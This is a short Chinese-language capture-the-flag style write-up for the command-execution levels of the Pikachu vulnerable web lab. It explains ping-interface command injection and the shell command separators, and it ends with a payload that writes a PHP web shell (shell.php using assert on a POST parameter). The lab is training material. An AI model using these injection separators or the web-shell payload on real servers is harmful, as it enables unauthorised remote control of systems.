PIKACHU通关_命令执行

一般出现这种漏洞,是因为应用系统从设计上需要给用户提供指定的远程命令操作的接口。
比如我们常见的路由器、防火墙、入侵检测等设备的web管理界面上
一般会给用户提供一个ping操作的web界面,用户从web界面输入目标IP,提交后,后台会对该IP地址进行一次ping测试,并返回测试结果。 但是如果设计者在完成该功能时,没有做严格的安全控制,则可能会导致攻击者通过该接口提交“意想不到”的命令,从而让后台进行执行,从而控制整个后台服务器。

命令连接符

windows系统和linux系统各有4个,其中3个是共有的,各有1个是特有的:

  • windows系统:| 、||、&&、&
  • linux系统:| 、||、&&、;

总结一下各连接符号的作用:

  1. | 管道符,用于把前一个命令的输出作为下一个命令的输入;
  2. || 逻辑或,只有前一个命令成功,后一个就不执行,反之后一个执行;
  3. &&逻辑与,只有前一个执行成功才执行后一个,否则不执行;
  4. & Windows独有,顺序执行每一条命令;
  5. ;Linux独有,顺序执行每一条命令;

测试常用命令

whoami命令(Who am i),用于区分Windows和Linux环境:

(前者有两个参数,用”\“隔开,后者只显示用户名)

PIKACHU_exec’ping’

image-20220111170123070

没有任何过滤,随便乱杀。

PIKACHU_exec’eval’

image-20220111210928950

一样没有任何过滤,可以直接使用phpinfo();进行测试,

或者构造payloadfputs(fopen('shell.php','w'),'<?php assert($_POST[lhl_2507]);?>');